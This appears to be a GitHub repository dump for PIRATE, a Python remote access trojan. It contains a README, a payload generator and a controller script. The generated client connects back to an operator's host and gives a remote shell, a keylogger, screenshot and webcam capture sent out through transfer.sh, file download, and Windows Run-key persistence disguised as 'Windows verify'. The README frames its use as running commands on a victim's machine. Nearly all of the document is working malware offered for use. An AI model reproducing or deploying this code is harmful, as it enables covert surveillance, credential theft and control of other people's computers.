├── output └── info.md ├── requirements.txt ├── README.md ├── LICENSE ├── payloader.py └── pirate.py /output/info.md: -------------------------------------------------------------------------------- 1 | output folder 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | argparse 2 | requests 3 | pynput 4 | pyautogui 5 | numpy 6 | opencv-python 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PIRATE 2 | Python Remote Acces Tool 3 | 4 | ### Usage 5 | 1- run payloader.py to generate client script 6 | 7 | 2- run pirate.py to manage server and receive connection 8 | 9 | ### Features 10 | 11 | - Open remote shell 12 | - Take screenshot 13 | - Take webcam picture 14 | - Run keylogger 15 | - Windows persistence 16 | - Send and receive files 17 | - Open windows messagebox 18 | 19 | ### Usage Example 20 | - Generate your payload file 21 | 22 | ![alt text](https://user-images.githubusercontent.com/15851872/63213903-1fcd3a80-c0e8-11e9-9b6a-543ac1ff4216.png) 23 | 24 | - Start pirate.py to listen for connections 25 | 26 | ![alt text](https://user-images.githubusercontent.com/15851872/63213932-98cc9200-c0e8-11e9-8f7c-bf71a723f50b.png) 27 | 28 | - Now wait for connection! 29 | 30 | ![alt text](https://user-images.githubusercontent.com/15851872/63213948-d6311f80-c0e8-11e9-9a46-96f55791cd9d.png) 31 | 32 | - Once you got connection you can run any command you want on victims machine 33 | 34 | ![alt text](https://user-images.githubusercontent.com/15851872/63213982-1db7ab80-c0e9-11e9-8b0a-d13214c1158f.png) 35 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 gbrn 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /payloader.py: -------------------------------------------------------------------------------- 1 | from sys import argv 2 | 3 | # payload can now be generated directly from pirate.py (main file) 4 | 5 | def generate_payload(host,port,file_name): 6 | payload ="""from cv2 import VideoCapture, imwrite 7 | from pynput.keyboard import Key, Listener 8 | from os.path import realpath 9 | from winreg import * 10 | import socket,os,subprocess,pyautogui,time,requests,numpy,idna,platform 11 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 | s.connect(('"""+host+"""', """+port+""")) 13 | keyLog = str() 14 | def start(): 15 | global listener 16 | listener = Listener(on_press=on_press) 17 | listener.start() 18 | def on_press(key): 19 | global keyLog 20 | keyLog+=str(key).replace("'","").replace('Key.space',' ').replace('Key.ctrl_l','').replace('Key.shift','').replace('Key.enter','\\n').replace('Key.backspace',' ').replace('Key.esc','') 21 | def dump(): 22 | global keyLog 23 | dump = keyLog.replace('1','!').replace('2','@').replace('3','#').replace('4','$').replace('5','%%').replace('7','&').replace('8','*').replace('9','(').replace('0',')') 24 | keyLog = "" 25 | return dump 26 | def stop(): 27 | global listener 28 | listener.stop() 29 | def persistence(executable): 30 | path_file='"%s"'%realpath(executable) 31 | run = r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 32 | try: 33 | key = OpenKey(HKEY_CURRENT_USER,run,0,KEY_SET_VALUE) 34 | except PermissionError: 35 | return('Failed!\\nRequire admin privileges') 36 | else: 37 | SetValueEx(key,'Windows verify',0,REG_SZ,path_file+' -silent') 38 | key.Close() 39 | while True: 40 | conn = s.recv(1024).decode('utf-8') 41 | if conn == 'shell': 42 | s.send(os.getcwd().encode()) 43 | if conn.startswith('shell:'): 44 | conn = conn[6:] 45 | if conn[:3] == 'cd ': 46 | dir = os.path.expandvars(conn[3:]) 47 | if os.path.isdir(dir): 48 | os.chdir(dir) 49 | cmd = b'' 50 | else: 51 | proc = subprocess.Popen(conn, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True) 52 | stdout, stderr = proc.communicate() 53 | cmd = stdout+stderr 54 | cmd += str('\\n'+os.getcwd()).encode() 55 | s.send(cmd) 56 | if conn == 'screenshot': 57 | runtime = time.asctime()[11:].replace(' ','-').replace(':','-') 58 | filename = 'screenshot-%s.png'%runtime 59 | url = 'https://transfer.sh/' 60 | sc = pyautogui.screenshot() 61 | sc.save(filename) 62 | data = open(filename, 'rb') 63 | upload = {filename: data} 64 | response = requests.post(url, files=upload) 65 | download_link = response.content.decode('utf-8') 66 | data.close() 67 | os.system('del '+filename) 68 | s.send(download_link.encode()) 69 | if conn == 'webcam': 70 | url = 'https://transfer.sh/' 71 | runtime = time.asctime()[11:].replace(' ','-').replace(':','-') 72 | filename = 'webcamshot-%s.jpg'%runtime 73 | cam = VideoCapture(0) 74 | x, img = cam.read() 75 | if x: 76 | imwrite(filename,img) 77 | data = open(filename, 'rb') 78 | upload = {filename: data} 79 | response = requests.post(url, files=upload) 80 | download_link = response.content.decode('utf-8') 81 | data.close() 82 | os.system('del '+filename) 83 | s.send(download_link.encode()) 84 | if conn.startswith('file:'): 85 | url = conn[5:] 86 | filename = url[26:] 87 | content = requests.get(url).content 88 | with open(filename, 'wb') as f: 89 | f.write(content) 90 | f.close() 91 | if conn.startswith('keylogger:'): 92 | args = conn[10:] 93 | if args == 'start': 94 | start() 95 | if args == 'dump': 96 | text = dump() 97 | s.send(text.encode()) 98 | if args == 'stop': 99 | stop() 100 | if conn == 'persistence': 101 | filename = os.path.realpath(__file__) 102 | code = persistence(filename) 103 | if code != None: 104 | s.send('Error!'.encode()) 105 | else: 106 | s.send('Persistence execute with success!'.encode()) 107 | if conn == 'sysinfo': 108 | OS = '{} {} ({})'.format(platform.system(),platform.release(),platform.version()) 109 | NAME = platform.node() 110 | if '64' in platform.machine(): 111 | ARCH = 'x64' 112 | else: 113 | ARCH = 'x86' 114 | sysinfo = 'Name :: {}\\nOS :: {}\\nArchitecture :: {}'.format(NAME,OS,ARCH) 115 | s.send(sysinfo.encode('Latin_1')) 116 | if conn.startswith('msg:'): 117 | msg = conn[4:] 118 | payload = 'cd %temp% & echo MsgBox("{}") > tempmsg.vbs & start tempmsg.vbs'.format(msg) 119 | p = subprocess.Popen(payload,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)""" 120 | 121 | with open(file_name,'w') as payload_file: 122 | payload_file.write(payload) 123 | payload_file.close() 124 | print('Writed %i bytes payload to %s'%(len(payload.encode()),file_name)) 125 | 126 | if len(argv) >= 4: 127 | host = argv[1] 128 | port = argv[2] 129 | file_name = argv[3] 130 | generate_payload(host,port,file_name) 131 | else: 132 | print('Usage: payloader.py ') 133 | print() 134 | -------------------------------------------------------------------------------- /pirate.py: -------------------------------------------------------------------------------- 1 | # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## # 2 | # Version 1.1.1 by Gabriel Barone # 3 | # GitHub Page: https://github.com/gbrn1/PIRATE # 4 | # # 5 | # ! Disclaimer ! # 6 | # # 7 | # "This software do not promote or encourages any # 8 | # illegal action and it was not made for criminal # 9 | # purposes." # 10 | # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## # 11 | 12 | from socket import socket, AF_INET, SOCK_STREAM 13 | import sys 14 | import os 15 | import requests 16 | import time 17 | 18 | 19 | class RAT: 20 | def __init__(self): 21 | self.port = 4444 # DEFAULT 22 | self.address = ('',self.port) 23 | self.socket = socket(AF_INET, SOCK_STREAM) 24 | self.keylogger_started = False 25 | 26 | def banner(self): 27 | print(r''' _ _ 28 | (_) | | 29 | _ __ _ _ __ __ _| |_ ___ 30 | | '_ \| | '__/ _` | __/ _ \ 31 | | |_) | | | | (_| | || __/ 32 | | .__/|_|_| \__,_|\__\___| 33 | | | 34 | |_| 35 | ''') 36 | 37 | def menu(self): 38 | help_menu = {'Help':'Show this mensage', 'listen':'Start listener on determined port', 'gen':'Generates payload', 'clear':'Clears screen', 'quit': 'Quits the program', 'banner':'Print banner'} 39 | while 1: 40 | cmd = input('pirate@menu> ') 41 | if cmd == 'help': 42 | for n in help_menu: 43 | print(n + ' .... ' + help_menu[n]) 44 | print() 45 | elif cmd.startswith('gen'): 46 | if cmd == 'gen': 47 | print('[*] Usage: gen ') 48 | else: 49 | lhost = cmd.split(' ')[1] 50 | lport = cmd.split(' ')[2] 51 | pname = cmd.split(' ')[3] 52 | self.generate_payload(lhost, lport, pname) 53 | elif cmd.startswith('listen'): 54 | if cmd == 'listen': 55 | print('[!] Using default port') 56 | if len(cmd)>6: 57 | port = cmd.split(' ')[1] 58 | try: 59 | self.port = int(port) 60 | except: 61 | print('[-] Port must be a number') 62 | self.address = ('',self.port) 63 | self.listen() 64 | elif cmd == 'quit' or cmd == 'exit' or cmd == 'close': 65 | exit() 66 | elif cmd == 'clear': 67 | self.clear() 68 | elif cmd == 'banner': 69 | self.banner() 70 | elif cmd == '': 71 | pass 72 | else: 73 | print('[-] Unknow command') 74 | 75 | 76 | def listen(self): 77 | s = self.socket 78 | try: 79 | s.bind(self.address) 80 | s.listen() 81 | print('\n[*] Listening on port: %i'%self.port) 82 | self.conn, self.addr = s.accept() 83 | print('[+] Connection received from',self.addr) 84 | self.main() 85 | except: 86 | pass 87 | def clear(self): 88 | if sys.platform.startswith('win'): 89 | os.system('cls') 90 | else: 91 | os.system('clear') 92 | def help(self): 93 | print('sysinfo :: show victims system info') 94 | print('shell :: open shell on victim machine') 95 | print('screenshot :: take screenshot from victim machine') 96 | print('webcam :: take picture from victims webcam') 97 | print('send_file :: send file to victim machine') 98 | print('persistence :: run persistence script (windows victim only)') 99 | print('keylogger :: run keylogger on victim machine') 100 | print('msg :: open MessageBox on victim machine (windows victim only)') 101 | print('help :: show this message') 102 | print('clear :: clear console') 103 | print('exit or close :: close connection') 104 | print() 105 | 106 | def main(self): 107 | print() 108 | started = self.keylogger_started 109 | while 1: 110 | EXIT = False 111 | conn = self.conn 112 | cmd = input('pirate@%s> '%self.addr[0]) 113 | if cmd == 'shell': 114 | conn.send(cmd.encode()) 115 | print(conn.recv(1024).decode(),end="") 116 | while EXIT != True: 117 | cmd = input('> ') 118 | if cmd == 'exit': 119 | EXIT = True 120 | print() 121 | elif cmd == '' or cmd == ' ': 122 | pass 123 | else: 124 | conn.send(('shell:'+cmd).encode()) 125 | print(conn.recv(56960).decode('Latin-1'),end="") 126 | elif cmd == 'clear': 127 | self.clear() 128 | elif cmd == 'help': 129 | self.help() 130 | 131 | elif cmd == 'screenshot': 132 | runtime = time.asctime()[11:].replace(' ','-').replace(':','-') 133 | if not os.path.isdir('output'): 134 | os.system('mkdir output') 135 | filename = 'output/screenshot-%s.png'%runtime 136 | conn.send(cmd.encode()) 137 | data = conn.recv(200000) 138 | with open(filename,'wb') as img: 139 | img.write(data) 140 | img.close() 141 | print('[+] Screenshot saved as: %s\n'%filename) 142 | 143 | elif cmd == 'webcam': 144 | runtime = time.asctime()[11:].replace(' ','-').replace(':','-') 145 | if not os.path.isdir('output'): 146 | os.system('mkdir output') 147 | filename = 'output/webcam-%s.jpg'%runtime 148 | conn.send(cmd.encode()) 149 | data = conn.recv(200000) 150 | with open(filename,'wb') as img: 151 | img.write(data) 152 | img.close() 153 | print('[+] Webcam image saved as: %s\n'%filename) 154 | 155 | elif cmd.startswith('send_file'): 156 | if cmd == 'send_file': 157 | print('[!] Usage: send_file \n') 158 | if len(cmd.split(' ')) == 2: 159 | filename = cmd.split(' ')[1] 160 | if os.path.isfile(filename): 161 | url = 'https://transfer.sh/' 162 | data = open(filename, 'rb') 163 | upload = {filename: data} 164 | response = requests.post(url, files=upload) 165 | data.close() 166 | download_link = response.content.decode('utf-8') 167 | conn.send(('file:'+download_link).encode()) 168 | print('[+] File sended!') 169 | else: 170 | print('[-] File not found!') 171 | 172 | elif cmd == 'persistence': 173 | conn.send(cmd.encode()) 174 | msg = conn.recv(1024).decode() 175 | print(msg) 176 | elif cmd.startswith('keylogger'): 177 | if cmd == 'keylogger': 178 | print('[*] Usage:') 179 | print('keylogger start') 180 | print('keylogger dump') 181 | print('kelogger stop') 182 | elif cmd.startswith('keylogger '): 183 | msg = 'keylogger:'+cmd.split(' ')[1] 184 | conn.send(msg.encode()) 185 | if cmd == 'keylogger start': 186 | started = True 187 | elif cmd == 'keylogger stop': 188 | started = False 189 | if cmd == 'keylogger dump': 190 | if started: 191 | print(conn.recv(2048).decode()) 192 | else: 193 | print('[-] Error, keylogger not started!') 194 | 195 | elif cmd == 'sysinfo': 196 | conn.send(cmd.encode()) 197 | sysinfo = conn.recv(4096).decode('Latin_1') 198 | print(sysinfo) 199 | 200 | elif cmd == 'msg': 201 | print('[*] Usage: msg ') 202 | 203 | elif cmd.startswith('msg '): 204 | msg = cmd[4:] 205 | conn.send(str('msg:'+msg).encode()) 206 | print('[+] Sended!') 207 | elif cmd == '': 208 | pass 209 | 210 | elif cmd == 'exit' or cmd == 'close': 211 | sys.exit(0) 212 | else: 213 | print('[-] Invalid command!\n') 214 | def generate_payload(self, host, port, file_name): 215 | payload ="""from cv2 import VideoCapture, imwrite 216 | from pynput.keyboard import Key, Listener 217 | from os.path import realpath 218 | from winreg import * 219 | import socket,os,subprocess,pyautogui,time,requests,numpy,idna,platform 220 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 221 | s.connect(('"""+host+"""', """+port+""")) 222 | keyLog = str() 223 | def start(): 224 | global listener 225 | listener = Listener(on_press=on_press) 226 | listener.start() 227 | def on_press(key): 228 | global keyLog 229 | keyLog+=str(key).replace("'","").replace('Key.space',' ').replace('Key.ctrl_l','').replace('Key.shift','').replace('Key.enter','\\n').replace('Key.backspace',' ').replace('Key.esc','') 230 | def dump(): 231 | global keyLog 232 | dump = keyLog.replace('1','!').replace('2','@').replace('3','#').replace('4','$').replace('5','%%').replace('7','&').replace('8','*').replace('9','(').replace('0',')') 233 | keyLog = "" 234 | return dump 235 | def stop(): 236 | global listener 237 | listener.stop() 238 | def persistence(executable): 239 | path_file='"%s"'%realpath(executable) 240 | run = r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 241 | try: 242 | key = OpenKey(HKEY_CURRENT_USER,run,0,KEY_SET_VALUE) 243 | except PermissionError: 244 | return('Failed!\\nRequire admin privileges') 245 | else: 246 | SetValueEx(key,'Windows verify',0,REG_SZ,path_file+' -silent --system-boot') 247 | key.Close() 248 | while True: 249 | conn = s.recv(1024).decode('utf-8') 250 | if conn == 'shell': 251 | s.send(os.getcwd().encode()) 252 | if conn.startswith('shell:'): 253 | conn = conn[6:] 254 | if conn[:3] == 'cd ': 255 | dir = os.path.expandvars(conn[3:]) 256 | if os.path.isdir(dir): 257 | os.chdir(dir) 258 | cmd = b'' 259 | else: 260 | proc = subprocess.Popen(conn, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True) 261 | stdout, stderr = proc.communicate() 262 | cmd = stdout+stderr 263 | cmd += str('\\n'+os.getcwd()).encode() 264 | s.send(cmd) 265 | if conn == 'screenshot': 266 | runtime = time.asctime()[11:].replace(' ','-').replace(':','-') 267 | filename = 'screenshot-%s.png'%runtime 268 | sc = pyautogui.screenshot() 269 | sc.save(filename) 270 | data = open(filename,'rb').read() 271 | s.send(data) 272 | if conn == 'webcam': 273 | runtime = time.asctime()[11:].replace(' ','-').replace(':','-') 274 | filename = 'webcamshot-%s.jpg'%runtime 275 | cam = VideoCapture(0) 276 | x, img = cam.read() 277 | if x: 278 | imwrite(filename,img) 279 | data = open(filename, 'rb') 280 | s.send(data.read()) 281 | data.close() 282 | cam.release() 283 | if conn.startswith('file:'): 284 | url = conn[5:] 285 | filename = url[26:] 286 | content = requests.get(url).content 287 | with open(filename, 'wb') as f: 288 | f.write(content) 289 | f.close() 290 | if conn.startswith('keylogger:'): 291 | args = conn[10:] 292 | if args == 'start': 293 | start() 294 | if args == 'dump': 295 | text = dump() 296 | s.send(text.encode()) 297 | if args == 'stop': 298 | stop() 299 | if conn == 'persistence': 300 | filename = os.path.realpath(__file__) 301 | code = persistence(filename) 302 | if code != None: 303 | s.send('Error!'.encode()) 304 | else: 305 | s.send('Persistence execute with success!'.encode()) 306 | if conn == 'sysinfo': 307 | OS = '{} {} ({})'.format(platform.system(),platform.release(),platform.version()) 308 | NAME = platform.node() 309 | if '64' in platform.machine(): 310 | ARCH = 'x64' 311 | else: 312 | ARCH = 'x86' 313 | sysinfo = 'Name :: {}\\nOS :: {}\\nArchitecture :: {}'.format(NAME,OS,ARCH) 314 | s.send(sysinfo.encode('Latin_1')) 315 | if conn.startswith('msg:'): 316 | msg = conn[4:] 317 | payload = 'cd %temp% & echo MsgBox("{}") > tempmsg.vbs & start tempmsg.vbs'.format(msg) 318 | p = subprocess.Popen(payload,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)""" 319 | if '\\' not in file_name and '/' not in file_name: 320 | file_name = 'output/'+ file_name 321 | with open(file_name,'w') as payload_file: 322 | payload_file.write(payload) 323 | payload_file.close() 324 | print('[+] Writed %i bytes payload to %s'%(len(payload.encode()),file_name)) 325 | 326 | def init(): 327 | main = RAT() 328 | main.clear() 329 | main.banner() 330 | main.menu() 331 | 332 | init() 333 | --------------------------------------------------------------------------------